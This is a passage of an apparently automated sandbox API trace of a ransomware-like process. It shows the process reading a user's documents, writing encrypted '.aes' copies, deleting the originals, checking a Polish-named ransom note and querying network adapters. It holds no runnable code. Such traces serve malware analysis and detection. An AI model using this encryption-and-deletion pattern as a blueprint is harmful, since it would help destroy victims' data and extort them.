lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.276] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.276] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.276] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.277] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.279] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.280] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.280] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.283] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.283] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.283] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.283] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.284] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.284] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.284] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.284] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.284] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.284] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.285] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.285] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.285] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.285] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.288] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.288] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.288] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.288] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.289] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.289] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.289] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.289] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.289] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.289] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.289] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.290] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.290] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.290] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.290] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.290] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x3cd, lpOverlapped=0x0) returned 1 [0078.290] ReadFile (in: hFile=0x7ec, lpBuffer=0x26fa80c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26fa80c*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0078.290] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x4e1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce974*=0x4e1, lpOverlapped=0x0) returned 1 [0078.290] WriteFile (in: hFile=0x7c8, lpBuffer=0x277709c*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x277709c*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0078.290] CloseHandle (hObject=0x7c8) returned 1 [0078.294] CloseHandle (hObject=0x7ec) returned 1 [0078.294] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv", lpFilePart=0x0) returned 0x41 [0078.294] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\Okb6cH9a4iQrI_jw.csv" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\okb6ch9a4iqri_jw.csv")) returned 1 [0078.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x47 [0078.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0078.295] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84bb840, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe84bb840, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe84bb840, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0078.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0078.295] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0078.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt", lpFilePart=0x0) returned 0x3e [0078.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0078.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\pnxtgcqo4yh5r.odt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea7feb0, ftCreationTime.dwHighDateTime=0x1d2f903, ftLastAccessTime.dwLowDateTime=0xc76115f0, ftLastAccessTime.dwHighDateTime=0x1d2fdcc, ftLastWriteTime.dwLowDateTime=0xc76115f0, ftLastWriteTime.dwHighDateTime=0x1d2fdcc, nFileSizeHigh=0x0, nFileSizeLow=0x11e3d)) returned 1 [0078.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0078.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt", lpFilePart=0x0) returned 0x3e [0078.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0078.322] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\pnxtgcqo4yh5r.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0078.322] GetFileType (hFile=0x7ec) returned 0x1 [0078.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0078.322] GetFileType (hFile=0x7ec) returned 0x1 [0078.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt.aes", lpFilePart=0x0) returned 0x42 [0078.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0078.322] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt.aes" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\pnxtgcqo4yh5r.odt.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0078.323] GetFileType (hFile=0x8e4) returned 0x1 [0078.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0078.323] GetFileType (hFile=0x8e4) returned 0x1 [0078.323] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0078.333] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0078.333] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0078.344] LocalFree (hMem=0x703ef10) returned 0x0 [0078.344] GetAdaptersAddresses () returned 0x6f [0078.354] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0078.354] GetAdaptersAddresses () returned 0x0 [0078.359] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0078.381] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0078.381] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0078.389] LocalFree (hMem=0x6ff2da0) returned 0x0 [0078.389] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0078.397] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0078.397] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0078.406] LocalFree (hMem=0x6ff2da0) returned 0x0 [0078.406] LocalFree (hMem=0x7074460) returned 0x0 [0078.406] GetBestInterfaceEx (in: pDestAddr=0x281f348*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0078.546] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.548] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.548] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.548] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.548] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.548] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.548] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.548] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.549] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.549] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.549] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.549] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.549] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.549] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.549] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.550] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.550] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.550] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.550] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.550] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.550] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.550] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.551] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.551] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.551] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.551] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.551] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.551] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.551] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.552] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.552] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.553] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, 